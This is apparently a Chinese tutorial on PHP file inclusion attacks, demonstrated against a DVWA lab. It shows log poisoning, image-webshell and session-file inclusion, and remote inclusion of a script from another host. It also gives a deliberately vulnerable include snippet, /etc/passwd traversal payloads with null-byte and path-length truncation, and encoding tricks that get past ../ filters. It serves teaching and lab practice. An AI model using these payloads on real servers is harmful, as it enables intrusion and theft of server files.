文件包含的各种姿势
文件包含漏洞原理
文件包含可以增加代码的重复使用,方便了开发人员,但是在带来方便的同时也给我们带来了很多安全方面的麻烦,因此我总结一下常见的文件包含漏洞的方式。
文件包含的方式
可以分为本地文件包含和远程文件包含,本地文件包含表示通过包含目标服务器上的文件来进行恶意代码的执行,我们通常需要构造自己的恶意代码并包含执行才能达到攻击服务器的目的,通常远程文件包含的的危害更大,因为恶意攻击者可以搭建自己的服务器,编写恶意代码,包含并且执行,但是远程文件包含的条件也很苛刻的,需要allow_url_open和allow_url_include都是on才能进行远程文件包含,但是在php5.2后allow_url_include是默认off的。
文件包含的函数
include函数
include_once函数
requirce函数
requirce_once函数
可以查看php手册来区分这几个函数的不同,这几个函数可以包含任意类型文件,并当作php代码执行。
包含日志文件
服务器的日志会将我们的请求url和代理放入日志中,因此有时我们可以将想要执行的代码放入ua中然后包含这个日志文件便可以执行代码。
QQ截图20190527154445.png
访问url:http://192.168.178.134/DVWA-master/vulnerabilities/fi/?page=/var/log/apache2/access.log
包含图片马
比如我在一张图片里写入了<?php phpinfo(); ?>便会返回我们的主页。
构造url:http://localhost/DVWA-master/vulnerabilities/fi/?page=../../../a.jpg
QQ截图20190527155637.png
包含session
我的session放入在/var/lib/php/sessions/文件夹中,里面的文件包含我们的session,如果我们可以控制自己的session,便可以进行执行代码,这里面的文件夹里面文件名为sess_SESSIONID.
构造url:http://192.168.178.134/DVWA-master/vulnerabilities/fi/?page=/var/lib/php/sessions/sess_fd9nko8ijbq74rjj8orfkjoln2
QQ截图20190527160957.png
远程文件包含
http://localhost/DVWA-master/vulnerabilities/fi/?page=https://www.baidu.com
QQ截图20190527164124.png
QQ截图20190527164105.png
http://localhost/DVWA-master/vulnerabilities/fi/?page=http://192.168.178.134/aa.php
QQ截图20190527164105.png
%00截断
<?php
$file = $_GET['file'];
include '/var/www/html/'.$file.'/test/test.php';
?>
这段代码指定了前缀和后缀,前缀可以使用../来进行后退,后缀可以使用%00截断,原理便是PHP内核使用C语言写的,C语言的字符串是使用\0来结束的,因此可以进行截断。
?file=../../../../../../../../../etc/passwd%00
需要 magic_quotes_gpc=off,PHP 小于 5.3.4 有效
路径长度截断
?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.
php 版本小于 5.2.8 可以成功,linux 需要文件名长于 4096,windows 需要长于 256
这是因为目录的长度是有限制的,当我们长度达到一定的长度时,便会将超过长度的去掉,从而达到截断的目的。并且./表示当前目录。
编码绕过
服务器端通常会对../进行过滤,可以通过使用一些编码进行绕过。
url编码
../ -》 %2e%2e%2f -》 ..%2f -》 %2e%2e/
.. -》 %2e%2e%5c -》 ..%5c -》 %2e%2e
二次编码
../ -》 %252e%252e%252f
.. -》 %252e%252e%255c